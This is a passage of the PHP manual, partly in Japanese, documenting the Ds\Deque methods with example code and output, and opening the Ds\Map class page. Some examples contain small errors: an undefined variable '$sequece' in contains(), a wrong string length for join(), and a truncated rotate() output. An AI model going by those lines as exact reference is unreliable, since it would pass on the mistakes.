print_r($deque);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Deque Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Deque Object
(
)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new instance

  • ≪ Ds\Deque::clear
  • Ds\Deque::contains ≫
  • PHP Manual
  • Deque
  • Creates a new instance

Ds\Deque::__construct

(PECL ds >= 1.0.0)

Ds\Deque::__construct — Creates a new instance

説明

public Ds\Deque::__construct ( mixed $values = ? )

Creates a new instance, using either a traversable object or an array for the initial values.

パラメータ

values

A traversable object or an array to use for the initial values.

例

例1 Ds\Deque::__construct() example

<?php
$deque = new \Ds\Deque();
var_dump($deque);

$deque = new \Ds\Deque([1, 2, 3]);
var_dump($deque);
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Deque)#2 (0) {
}
object(Ds\Deque)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Determines if the deque contains given values

  • ≪ Ds\Deque::__construct
  • Ds\Deque::copy ≫
  • PHP Manual
  • Deque
  • Determines if the deque contains given values

Ds\Deque::contains

(PECL ds >= 1.0.0)

Ds\Deque::contains — Determines if the deque contains given values

説明

public Ds\Deque::contains ( mixed ...$values ) : bool

Determines if the deque contains all values.

パラメータ

values

Values to check.

返り値

false if any of the provided values are not in the deque, true otherwise.

例

例1 Ds\Deque::contains() example

<?php
$deque = new \Ds\Deque(['a', 'b', 'c', 1, 2, 3]);

var_dump($deque->contains('a'));                // true
var_dump($deque->contains('a', 'b'));           // true
var_dump($deque->contains('c', 'd'));           // false

var_dump($deque->contains(...['c', 'b', 'a'])); // true

// Always strict
var_dump($deque->contains(1));                  // true
var_dump($deque->contains('1'));                // false

var_dump($sequece->contains(...[]));               // true
?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(true)
bool(false)
bool(true)
bool(true)
bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Returns a shallow copy of the deque

  • ≪ Ds\Deque::contains
  • Ds\Deque::count ≫
  • PHP Manual
  • Deque
  • Returns a shallow copy of the deque

Ds\Deque::copy

(PECL ds >= 1.0.0)

Ds\Deque::copy — Returns a shallow copy of the deque

説明

public Ds\Deque::copy ( ) : Ds\Deque

Returns a shallow copy of the deque.

パラメータ

この関数にはパラメータはありません。

返り値

A shallow copy of the deque.

例

例1 Ds\Deque::copy() example

<?php
$a = new \Ds\Deque([1, 2, 3]);
$b = $a->copy();

$b->push(4);

print_r($a);
print_r($b);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Deque Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Deque Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of values in the collection

  • ≪ Ds\Deque::copy
  • Ds\Deque::filter ≫
  • PHP Manual
  • Deque
  • Returns the number of values in the collection

Ds\Deque::count

(PECL ds >= 1.0.0)

Ds\Deque::count — Returns the number of values in the collection

See Countable::count()

User Contributed Notes

There are no user contributed notes for this page.


Creates a new deque using a callable to determine which values to include

  • ≪ Ds\Deque::count
  • Ds\Deque::find ≫
  • PHP Manual
  • Deque
  • Creates a new deque using a callable to determine which values to include

Ds\Deque::filter

(PECL ds >= 1.0.0)

Ds\Deque::filter — Creates a new deque using a callable to determine which values to include

説明

public Ds\Deque::filter ( callable $callback = ? ) : Ds\Deque

Creates a new deque using a callable to determine which values to include.

パラメータ

callback

callback ( mixed $value ) : bool

Optional callable which returns true if the value should be included, false otherwise.

If a callback is not provided, only values which are true (see converting to boolean) will be included.

返り値

A new deque containing all the values for which either the callback returned true, or all values that convert to true if a callback was not provided.

例

例1 Ds\Deque::filter() example using callback function

<?php
$deque = new \Ds\Deque([1, 2, 3, 4, 5]);

var_dump($deque->filter(function($value) {
    return $value % 2 == 0;
}));
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Deque)#3 (2) {
  [0]=>
  int(2)
  [1]=>
  int(4)
}

例2 Ds\Deque::filter() example without a callback function

<?php
$deque = new \Ds\Deque([0, 1, 'a', true, false]);

var_dump($deque->filter());
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Deque)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  string(1) "a"
  [2]=>
  bool(true)
}

User Contributed Notes

There are no user contributed notes for this page.


Attempts to find a value's index

  • ≪ Ds\Deque::filter
  • Ds\Deque::first ≫
  • PHP Manual
  • Deque
  • Attempts to find a value's index

Ds\Deque::find

(PECL ds >= 1.0.0)

Ds\Deque::find — Attempts to find a value's index

説明

public Ds\Deque::find ( mixed $value ) : mixed

Returns the index of the value, or false if not found.

パラメータ

value

The value to find.

返り値

The index of the value, or false if not found.

注意:

Values will be compared by value and by type.

例

例1 Ds\Deque::find() example

<?php
$deque = new \Ds\Deque(["a", 1, true]);

var_dump($deque->find("a")); // 0
var_dump($deque->find("b")); // false
var_dump($deque->find("1")); // false
var_dump($deque->find(1));   // 1
?>

上の例の出力は、 たとえば以下のようになります。

int(0)
bool(false)
bool(false)
int(1)

User Contributed Notes

There are no user contributed notes for this page.


Returns the first value in the deque

  • ≪ Ds\Deque::find
  • Ds\Deque::get ≫
  • PHP Manual
  • Deque
  • Returns the first value in the deque

Ds\Deque::first

(PECL ds >= 1.0.0)

Ds\Deque::first — Returns the first value in the deque

説明

public Ds\Deque::first ( ) : mixed

Returns the first value in the deque.

パラメータ

この関数にはパラメータはありません。

返り値

The first value in the deque.

エラー / 例外

UnderflowException if empty.

例

例1 Ds\Deque::first() example

<?php
$deque = new \Ds\Deque([1, 2, 3]);
var_dump($deque->first());
?>

上の例の出力は、 たとえば以下のようになります。

int(1)

User Contributed Notes

There are no user contributed notes for this page.


Returns the value at a given index

  • ≪ Ds\Deque::first
  • Ds\Deque::insert ≫
  • PHP Manual
  • Deque
  • Returns the value at a given index

Ds\Deque::get

(PECL ds >= 1.0.0)

Ds\Deque::get — Returns the value at a given index

説明

public Ds\Deque::get ( int $index ) : mixed

Returns the value at a given index.

パラメータ

index

The index to access, starting at 0.

返り値

The value at the requested index.

エラー / 例外

OutOfRangeException if the index is not valid.

例

例1 Ds\Deque::get() example

<?php
$deque = new \Ds\Deque(["a", "b", "c"]);

var_dump($deque->get(0));
var_dump($deque->get(1));
var_dump($deque->get(2));
?>

上の例の出力は、 たとえば以下のようになります。

string(1) "a"
string(1) "b"
string(1) "c"

例2 Ds\Deque::get() example using array syntax

<?php
$deque = new \Ds\Deque(["a", "b", "c"]);

var_dump($deque[0]);
var_dump($deque[1]);
var_dump($deque[2]);
?>

上の例の出力は、 たとえば以下のようになります。

string(1) "a"
string(1) "b"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Inserts values at a given index

  • ≪ Ds\Deque::get
  • Ds\Deque::isEmpty ≫
  • PHP Manual
  • Deque
  • Inserts values at a given index

Ds\Deque::insert

(PECL ds >= 1.0.0)

Ds\Deque::insert — Inserts values at a given index

説明

public Ds\Deque::insert ( int $index , mixed ...$values ) : void

Inserts values into the deque at a given index.

パラメータ

index

The index at which to insert. 0 <= index <= count

注意:

You can insert at the index equal to the number of values.

values

The value or values to insert.

返り値

値を返しません。

エラー / 例外

OutOfRangeException if the index is not valid.

例

例1 Ds\Deque::insert() example

<?php
$deque = new \Ds\Deque();

$deque->insert(0, "e");             // [e]
$deque->insert(1, "f");             // [e, f]
$deque->insert(2, "g");             // [e, f, g]
$deque->insert(0, "a", "b");        // [a, b, e, f, g]
$deque->insert(2, ...["c", "d"]);   // [a, b, c, d, e, f, g]

var_dump($deque);
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Deque)#1 (7) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
  [3]=>
  string(1) "d"
  [4]=>
  string(1) "e"
  [5]=>
  string(1) "f"
  [6]=>
  string(1) "g"
}

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the deque is empty

  • ≪ Ds\Deque::insert
  • Ds\Deque::join ≫
  • PHP Manual
  • Deque
  • Returns whether the deque is empty

Ds\Deque::isEmpty

(PECL ds >= 1.0.0)

Ds\Deque::isEmpty — Returns whether the deque is empty

説明

public Ds\Deque::isEmpty ( ) : bool

Returns whether the deque is empty.

パラメータ

この関数にはパラメータはありません。

返り値

Returns true if the deque is empty, false otherwise.

例

例1 Ds\Deque::isEmpty() example

<?php
$a = new \Ds\Deque([1, 2, 3]);
$b = new \Ds\Deque();

var_dump($a->isEmpty());
var_dump($b->isEmpty());
?>

上の例の出力は、 たとえば以下のようになります。

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Joins all values together as a string

  • ≪ Ds\Deque::isEmpty
  • Ds\Deque::jsonSerialize ≫
  • PHP Manual
  • Deque
  • Joins all values together as a string

Ds\Deque::join

(PECL ds >= 1.0.0)

Ds\Deque::join — Joins all values together as a string

説明

public Ds\Deque::join ( string $glue = ? ) : string

Joins all values together as a string using an optional separator between each value.

パラメータ

glue

An optional string to separate each value.

返り値

All values of the deque joined together as a string.

例

例1 Ds\Deque::join() example using a separator string

<?php
$deque = new \Ds\Deque(["a", "b", "c", 1, 2, 3]);

var_dump($deque->join("|"));
?>

上の例の出力は、 たとえば以下のようになります。

string(11) "a|b|c|1|2|3"

例2 Ds\Deque::join() example without a separator string

<?php
$deque = new \Ds\Deque(["a", "b", "c", 1, 2, 3]);

var_dump($deque->join());
?>

上の例の出力は、 たとえば以下のようになります。

string(11) "abc123"

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ≪ Ds\Deque::join
  • Ds\Deque::last ≫
  • PHP Manual
  • Deque
  • Returns a representation that can be converted to JSON

Ds\Deque::jsonSerialize

(PECL ds >= 1.0.0)

Ds\Deque::jsonSerialize — Returns a representation that can be converted to JSON

See JsonSerializable::jsonSerialize()

注意:

You should never need to call this directly.

User Contributed Notes

There are no user contributed notes for this page.


Returns the last value

  • ≪ Ds\Deque::jsonSerialize
  • Ds\Deque::map ≫
  • PHP Manual
  • Deque
  • Returns the last value

Ds\Deque::last

(PECL ds >= 1.0.0)

Ds\Deque::last — Returns the last value

説明

public Ds\Deque::last ( ) : mixed

Returns the last value in the deque.

パラメータ

この関数にはパラメータはありません。

返り値

The last value in the deque.

エラー / 例外

UnderflowException if empty.

例

例1 Ds\Deque::last() example

<?php
$deque = new \Ds\Deque([1, 2, 3]);
var_dump($deque->last());
?>

上の例の出力は、 たとえば以下のようになります。

int(3)

User Contributed Notes

There are no user contributed notes for this page.


Returns the result of applying a callback to each value

  • ≪ Ds\Deque::last
  • Ds\Deque::merge ≫
  • PHP Manual
  • Deque
  • Returns the result of applying a callback to each value

Ds\Deque::map

(PECL ds >= 1.0.0)

Ds\Deque::map — Returns the result of applying a callback to each value

説明

public Ds\Deque::map ( callable $callback ) : Ds\Deque

Returns the result of applying a callback function to each value in the deque.

パラメータ

callback

callback ( mixed $value ) : mixed

A callable to apply to each value in the deque.

The callable should return what the new value will be in the new deque.

返り値

The result of applying a callback to each value in the deque.

注意:

The values of the current instance won't be affected.

例

例1 Ds\Deque::map() example

<?php
$deque = new \Ds\Deque([1, 2, 3]);

print_r($deque->map(function($value) { return $value * 2; }));
print_r($deque);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Deque Object
(
    [0] => 2
    [1] => 4
    [2] => 6
)
Ds\Deque Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the result of adding all given values to the deque

  • ≪ Ds\Deque::map
  • Ds\Deque::pop ≫
  • PHP Manual
  • Deque
  • Returns the result of adding all given values to the deque

Ds\Deque::merge

(PECL ds >= 1.0.0)

Ds\Deque::merge — Returns the result of adding all given values to the deque

説明

public Ds\Deque::merge ( mixed $values ) : Ds\Deque

Returns the result of adding all given values to the deque.

パラメータ

values

A traversable object or an array.

返り値

The result of adding all given values to the deque, effectively the same as adding the values to a copy, then returning that copy.

注意:

The current instance won't be affected.

例

例1 Ds\Deque::merge() example

<?php
$deque = new \Ds\Deque([1, 2, 3]);

var_dump($deque->merge([4, 5, 6]));
var_dump($deque);
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Deque)#2 (6) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
  [3]=>
  int(4)
  [4]=>
  int(5)
  [5]=>
  int(6)
}
object(Ds\Deque)#1 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Removes and returns the last value

  • ≪ Ds\Deque::merge
  • Ds\Deque::push ≫
  • PHP Manual
  • Deque
  • Removes and returns the last value

Ds\Deque::pop

(PECL ds >= 1.0.0)

Ds\Deque::pop — Removes and returns the last value

説明

public Ds\Deque::pop ( ) : mixed

Removes and returns the last value.

パラメータ

この関数にはパラメータはありません。

返り値

The removed last value.

エラー / 例外

UnderflowException if empty.

例

例1 Ds\Deque::pop() example

<?php
$deque = new \Ds\Deque([1, 2, 3]);

var_dump($deque->pop());
var_dump($deque->pop());
var_dump($deque->pop());
?>

上の例の出力は、 たとえば以下のようになります。

int(3)
int(2)
int(1)

User Contributed Notes

There are no user contributed notes for this page.


Adds values to the end of the deque

  • ≪ Ds\Deque::pop
  • Ds\Deque::reduce ≫
  • PHP Manual
  • Deque
  • Adds values to the end of the deque

Ds\Deque::push

(PECL ds >= 1.0.0)

Ds\Deque::push — Adds values to the end of the deque

説明

public Ds\Deque::push ( mixed ...$values ) : void

Adds values to the end of the deque.

パラメータ

values

The values to add.

返り値

値を返しません。

例

例1 Ds\Deque::push() example

<?php
$deque = new \Ds\Deque();

$deque->push("a");
$deque->push("b");
$deque->push("c", "d");
$deque->push(...["e", "f"]);

print_r($deque);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Deque Object
(
    [0] => a
    [1] => b
    [2] => c
    [3] => d
    [4] => e
    [5] => f
)

User Contributed Notes

There are no user contributed notes for this page.


Reduces the deque to a single value using a callback function

  • ≪ Ds\Deque::push
  • Ds\Deque::remove ≫
  • PHP Manual
  • Deque
  • Reduces the deque to a single value using a callback function

Ds\Deque::reduce

(PECL ds >= 1.0.0)

Ds\Deque::reduce — Reduces the deque to a single value using a callback function

説明

public Ds\Deque::reduce ( callable $callback , mixed $initial = ? ) : mixed

Reduces the deque to a single value using a callback function.

パラメータ

callback
callback ( mixed $carry , mixed $value ) : mixed
carry

The return value of the previous callback, or initial if it's the first iteration.

value

The value of the current iteration.

initial

The initial value of the carry value. Can be null.

返り値

The return value of the final callback.

例

例1 Ds\Deque::reduce() with initial value example

<?php
$deque = new \Ds\Deque([1, 2, 3]);

$callback = function($carry, $value) {
    return $carry * $value;
};

var_dump($deque->reduce($callback, 5));

// Iterations:
//
// $carry = $initial = 5
//
// $carry = $carry * 1 =  5
// $carry = $carry * 2 = 10
// $carry = $carry * 3 = 30
?>

上の例の出力は、 たとえば以下のようになります。

int(30)

例2 Ds\Deque::reduce() without an initial value example

<?php
$deque = new \Ds\Deque([1, 2, 3]);

var_dump($deque->reduce(function($carry, $value) {
    return $carry + $value + 5;
}));

// Iterations:
//
// $carry = $initial = null
//
// $carry = $carry + 1 + 5 =  6
// $carry = $carry + 2 + 5 = 13
// $carry = $carry + 3 + 5 = 21
?>

上の例の出力は、 たとえば以下のようになります。

int(21)

User Contributed Notes

There are no user contributed notes for this page.


Removes and returns a value by index

  • ≪ Ds\Deque::reduce
  • Ds\Deque::reverse ≫
  • PHP Manual
  • Deque
  • Removes and returns a value by index

Ds\Deque::remove

(PECL ds >= 1.0.0)

Ds\Deque::remove — Removes and returns a value by index

説明

public Ds\Deque::remove ( int $index ) : mixed

Removes and returns a value by index.

パラメータ

index

The index of the value to remove.

返り値

The value that was removed.

エラー / 例外

OutOfRangeException if the index is not valid.

例

例1 Ds\Deque::remove() example

<?php
$deque = new \Ds\Deque(["a", "b", "c"]);

var_dump($deque->remove(1));
var_dump($deque->remove(0));
var_dump($deque->remove(0));
?>

上の例の出力は、 たとえば以下のようになります。

string(1) "b"
string(1) "a"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Reverses the deque in-place

  • ≪ Ds\Deque::remove
  • Ds\Deque::reversed ≫
  • PHP Manual
  • Deque
  • Reverses the deque in-place

Ds\Deque::reverse

(PECL ds >= 1.0.0)

Ds\Deque::reverse — Reverses the deque in-place

説明

public Ds\Deque::reverse ( ) : void

Reverses the deque in-place.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 Ds\Deque::reverse() example

<?php
$deque = new \Ds\Deque(["a", "b", "c"]);
$deque->reverse();

print_r($deque);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Deque Object
(
    [0] => c
    [1] => b
    [2] => a
)

User Contributed Notes

There are no user contributed notes for this page.


Returns a reversed copy

  • ≪ Ds\Deque::reverse
  • Ds\Deque::rotate ≫
  • PHP Manual
  • Deque
  • Returns a reversed copy

Ds\Deque::reversed

(PECL ds >= 1.0.0)

Ds\Deque::reversed — Returns a reversed copy

説明

public Ds\Deque::reversed ( ) : Ds\Deque

Returns a reversed copy of the deque.

パラメータ

この関数にはパラメータはありません。

返り値

A reversed copy of the deque.

注意:

The current instance is not affected.

例

例1 Ds\Deque::reversed() example

<?php
$deque = new \Ds\Deque(["a", "b", "c"]);

print_r($deque->reversed());
print_r($deque);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Deque Object
(
    [0] => c
    [1] => b
    [2] => a
)
Ds\Deque Object
(
    [0] => a
    [1] => b
    [2] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Rotates the deque by a given number of rotations

  • ≪ Ds\Deque::reversed
  • Ds\Deque::set ≫
  • PHP Manual
  • Deque
  • Rotates the deque by a given number of rotations

Ds\Deque::rotate

(PECL ds >= 1.0.0)

Ds\Deque::rotate — Rotates the deque by a given number of rotations

説明

public Ds\Deque::rotate ( int $rotations ) : void

Rotates the deque by a given number of rotations, which is equivalent to successively calling $deque->push($deque->shift()) if the number of rotations is positive, or $deque->unshift($deque->pop()) if negative.

パラメータ

rotations

The number of times the deque should be rotated.

返り値

値を返しません。. The deque of the current instance will be rotated.

例

例1 Ds\Deque::rotate() example

<?php
$deque = new \Ds\Deque(["a", "b", "c", "d"]);

$deque->rotate(1);  // "a" is shifted, then pushed.
print_r($deque);

$deque->rotate(2);  // "b" and "c" are both shifted, the pushed.
print_r($deque);
?>

上の例の出力は、 たとえば以下のようになります。

(
    [0] => b
    [1] => c
    [2] => d
    [3] => a
)
Ds\Deque Object
(
    [0] => d
    [1] => a
    [2] => b
    [3] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Updates a value at a given index

  • ≪ Ds\Deque::rotate
  • Ds\Deque::shift ≫
  • PHP Manual
  • Deque
  • Updates a value at a given index

Ds\Deque::set

(PECL ds >= 1.0.0)

Ds\Deque::set — Updates a value at a given index

説明

public Ds\Deque::set ( int $index , mixed $value ) : void

Updates a value at a given index.

パラメータ

index

The index of the value to update.

value

The new value.

返り値

値を返しません。

エラー / 例外

OutOfRangeException if the index is not valid.

例

例1 Ds\Deque::set() example

<?php
$deque = new \Ds\Deque(["a", "b", "c"]);

$deque->set(1, "_");
print_r($deque);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Deque Object
(
    [0] => a
    [1] => _
    [2] => c
)

例2 Ds\Deque::set() example using array syntax

<?php
$deque = new \Ds\Deque(["a", "b", "c"]);

$deque[1] = "_";
print_r($deque);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Deque Object
(
    [0] => a
    [1] => _
    [2] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Removes and returns the first value

  • ≪ Ds\Deque::set
  • Ds\Deque::slice ≫
  • PHP Manual
  • Deque
  • Removes and returns the first value

Ds\Deque::shift

(PECL ds >= 1.0.0)

Ds\Deque::shift — Removes and returns the first value

説明

public Ds\Deque::shift ( ) : mixed

Removes and returns the first value.

パラメータ

この関数にはパラメータはありません。

返り値

The first value, which was removed.

エラー / 例外

UnderflowException if empty.

例

例1 Ds\Deque::shift() example

<?php
$deque = new \Ds\Deque(["a", "b", "c"]);

var_dump($deque->shift());
var_dump($deque->shift());
var_dump($deque->shift());
?>

上の例の出力は、 たとえば以下のようになります。

string(1) "a"
string(1) "b"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Returns a sub-deque of a given range

  • ≪ Ds\Deque::shift
  • Ds\Deque::sort ≫
  • PHP Manual
  • Deque
  • Returns a sub-deque of a given range

Ds\Deque::slice

(PECL ds >= 1.0.0)

Ds\Deque::slice — Returns a sub-deque of a given range

説明

public Ds\Deque::slice ( int $index , int $length = ? ) : Ds\Deque

Creates a sub-deque of a given range.

パラメータ

index

The index at which the sub-deque starts.

If positive, the deque will start at that index in the deque. If negative, the deque will start that far from the end.

length

If a length is given and is positive, the resulting deque will have up to that many values in it. If the length results in an overflow, only values up to the end of the deque will be included. If a length is given and is negative, the deque will stop that many values from the end. If a length is not provided, the resulting deque will contain all values between the index and the end of the deque.

返り値

A sub-deque of the given range.

例

例1 Ds\Deque::slice() example

<?php
$deque = new \Ds\Deque(["a", "b", "c", "d", "e"]);

// Slice from 2 onwards
print_r($deque->slice(2));

// Slice from 1, for a length of 3
print_r($deque->slice(1, 3));

// Slice from 1 onwards
print_r($deque->slice(1));

// Slice from 2 from the end onwards
print_r($deque->slice(-2));

// Slice from 1 to 1 from the end
print_r($deque->slice(1, -1));
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Deque Object
(
    [0] => c
    [1] => d
    [2] => e
)
Ds\Deque Object
(
    [0] => b
    [1] => c
    [2] => d
)
Ds\Deque Object
(
    [0] => b
    [1] => c
    [2] => d
    [3] => e
)
Ds\Deque Object
(
    [0] => d
    [1] => e
)
Ds\Deque Object
(
    [0] => b
    [1] => c
    [2] => d
)

User Contributed Notes

There are no user contributed notes for this page.


Sorts the deque in-place

  • ≪ Ds\Deque::slice
  • Ds\Deque::sorted ≫
  • PHP Manual
  • Deque
  • Sorts the deque in-place

Ds\Deque::sort

(PECL ds >= 1.0.0)

Ds\Deque::sort — Sorts the deque in-place

説明

public Ds\Deque::sort ( callable $comparator = ? ) : void

Sorts the deque in-place, using an optional comparator function.

パラメータ

comparator

比較関数は、最初の引数と二番目の引数の比較結果を返します。最初の引数のほうが二番目の引数より大きい場合は正の数を、二番目の引数と等しい場合はゼロを、そして二番目の引数より小さい場合は負の数を返す必要があります。

callback ( mixed $a, mixed $b ) : int
警告

Returning non-integer values from the comparison function, such as float, will result in an internal cast to int of the callback's return value. So values such as 0.99 and 0.1 will both be cast to an integer value of 0, which will compare such values as equal.

返り値

値を返しません。

例

例1 Ds\Deque::sort() example

<?php
$deque = new \Ds\Deque([4, 5, 1, 3, 2]);
$deque->sort();

print_r($deque);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Deque Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)

例2 Ds\Deque::sort() example using a comparator

<?php
$deque = new \Ds\Deque([4, 5, 1, 3, 2]);

$deque->sort(function($a, $b) {
    return $b <=> $a;
});

print_r($deque);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Deque Object
(
    [0] => 5
    [1] => 4
    [2] => 3
    [3] => 2
    [4] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Returns a sorted copy

  • ≪ Ds\Deque::sort
  • Ds\Deque::sum ≫
  • PHP Manual
  • Deque
  • Returns a sorted copy

Ds\Deque::sorted

(PECL ds >= 1.0.0)

Ds\Deque::sorted — Returns a sorted copy

説明

public Ds\Deque::sorted ( callable $comparator = ? ) : Ds\Deque

Returns a sorted copy, using an optional comparator function.

パラメータ

comparator

比較関数は、最初の引数と二番目の引数の比較結果を返します。最初の引数のほうが二番目の引数より大きい場合は正の数を、二番目の引数と等しい場合はゼロを、そして二番目の引数より小さい場合は負の数を返す必要があります。

callback ( mixed $a, mixed $b ) : int
警告

Returning non-integer values from the comparison function, such as float, will result in an internal cast to int of the callback's return value. So values such as 0.99 and 0.1 will both be cast to an integer value of 0, which will compare such values as equal.

返り値

Returns a sorted copy of the deque.

例

例1 Ds\Deque::sorted() example

<?php
$deque = new \Ds\Deque([4, 5, 1, 3, 2]);

print_r($deque->sorted());
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Deque Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)

例2 Ds\Deque::sorted() example using a comparator

<?php
$deque = new \Ds\Deque([4, 5, 1, 3, 2]);

$sorted = $deque->sorted(function($a, $b) {
    return $b <=> $a;
});

print_r($sorted);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Deque Object
(
    [0] => 5
    [1] => 4
    [2] => 3
    [3] => 2
    [4] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the sum of all values in the deque

  • ≪ Ds\Deque::sorted
  • Ds\Deque::toArray ≫
  • PHP Manual
  • Deque
  • Returns the sum of all values in the deque

Ds\Deque::sum

(PECL ds >= 1.0.0)

Ds\Deque::sum — Returns the sum of all values in the deque

説明

public Ds\Deque::sum ( ) : int|float

Returns the sum of all values in the deque.

注意:

Arrays and objects are considered equal to zero when calculating the sum.

パラメータ

この関数にはパラメータはありません。

返り値

The sum of all the values in the deque as either a float or int depending on the values in the deque.

例

例1 Ds\Deque::sum() integer example

<?php
$deque = new \Ds\Deque([1, 2, 3]);
var_dump($deque->sum());
?>

上の例の出力は、 たとえば以下のようになります。

int(6)

例2 Ds\Deque::sum() float example

<?php
$deque = new \Ds\Deque([1, 2.5, 3]);
var_dump($deque->sum());
?>

上の例の出力は、 たとえば以下のようになります。

float(6.5)

User Contributed Notes

There are no user contributed notes for this page.


Converts the deque to an array

  • ≪ Ds\Deque::sum
  • Ds\Deque::unshift ≫
  • PHP Manual
  • Deque
  • Converts the deque to an array

Ds\Deque::toArray

(PECL ds >= 1.0.0)

Ds\Deque::toArray — Converts the deque to an array

説明

public Ds\Deque::toArray ( ) : array

Converts the deque to an array.

注意:

Casting to an array is not supported yet.

パラメータ

この関数にはパラメータはありません。

返り値

An array containing all the values in the same order as the deque.

例

例1 Ds\Deque::toArray() example

<?php
$deque = new \Ds\Deque([1, 2, 3]);

var_dump($deque->toArray());
?>

上の例の出力は、 たとえば以下のようになります。

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Adds values to the front of the deque

  • ≪ Ds\Deque::toArray
  • Map ≫
  • PHP Manual
  • Deque
  • Adds values to the front of the deque

Ds\Deque::unshift

(PECL ds >= 1.0.0)

Ds\Deque::unshift — Adds values to the front of the deque

説明

public Ds\Deque::unshift ( mixed $values = ? ) : void

Adds values to the front of the deque, moving all the current values forward to make room for the new values.

パラメータ

values

The values to add to the front of the deque.

注意:

Multiple values will be added in the same order that they are passed.

返り値

値を返しません。

例

例1 Ds\Deque::unshift() example

<?php
$deque = new \Ds\Deque([1, 2, 3]);

$deque->unshift("a");
$deque->unshift("b", "c");

print_r($deque);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Deque Object
(
    [0] => b
    [1] => c
    [2] => a
    [3] => 1
    [4] => 2
    [5] => 3
)

User Contributed Notes

hugo at fc dot up dot pt 10-Jul-2020 12:46
Where the documentation says "moving all the current values forward", while it sounds like the complexity would be O(N), I checked the code at https://github.com/php-ds/ext-ds/blob/master/src/ds/ds_deque.c#L366 and it is in fact O(1) for each element


The Map class

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

はじめに

A Map is a sequential collection of key-value pairs, almost identical to an array used in a similar context. Keys can be any type, but must be unique. Values are replaced if added to the map using the same key.

Strengths

  • Keys and values can be any type, including objects.
  • Supports array syntax (square brackets).
  • Insertion order is preserved.
  • Performance and memory efficiency is very similar to an array.
  • Automatically frees allocated memory when its size drops low enough.

Weaknesses

  • Can't be converted to an array when objects are used as keys.

クラス概要

Ds\Map implements Ds\Collection , ArrayAccess {
/* Constants */
const int MIN_CAPACITY = 16 ;
/* メソッド */
public allocate ( int $capacity ) : void
public apply ( callable $callback ) : void
public capacity ( ) : int
public clear ( ) : void
public copy ( ) : Ds\Map
public diff ( Ds\Map $map ) : Ds\Map
public filter ( callable $callback = ? ) : Ds\Map
public first ( ) : Ds\Pair
public get ( mixed $key , mixed $default = ? ) : mixed
public hasKey ( mixed $key ) : bool
public hasValue ( mixed $value ) : bool
public intersect ( Ds\Map $map ) : Ds\Map
public isEmpty ( ) : bool
public keys ( ) : Ds\Set
public ksort ( callable $comparator = ? ) : void
public ksorted ( callable $comparator = ? ) : Ds\Map
public last ( ) : Ds\Pair
public map ( callable $callback ) : Ds\Map
public merge ( mixed $values ) : Ds\Map
public pairs ( ) : Ds\Sequence
public put ( mixed $key , mixed $value ) : void
public putAll ( mixed $pairs ) : void
public reduce ( callable $callback , mixed $initial = ? ) : mixed
public remove ( mixed $key , mixed $default = ? ) : mixed
public reverse ( ) : void
public reversed ( ) : Ds\Map
public skip ( int $position ) : Ds\Pair
public slice ( int $index , int $length = ? ) : Ds\Map
public sort ( callable $comparator = ? ) : void
public sorted ( callable $comparator = ? ) : Ds\Map
public sum ( ) : int|float
public toArray ( ) : array
public union ( Ds\Map $map ) : Ds\Map
public values ( ) : Ds\Sequence
public xor ( Ds\Map $map ) : Ds\Map
}

定義済み定数

Ds\Map::MIN_CAPACITY

変更履歴

バージョン | 説明
PECL ds 1.3.0 | The class now implements ArrayAccess.

目次

  • Ds\Map::allocate — Allocates enough memory for a required capacity
  • Ds\Map::apply — Updates all values by applying a callback function to each value
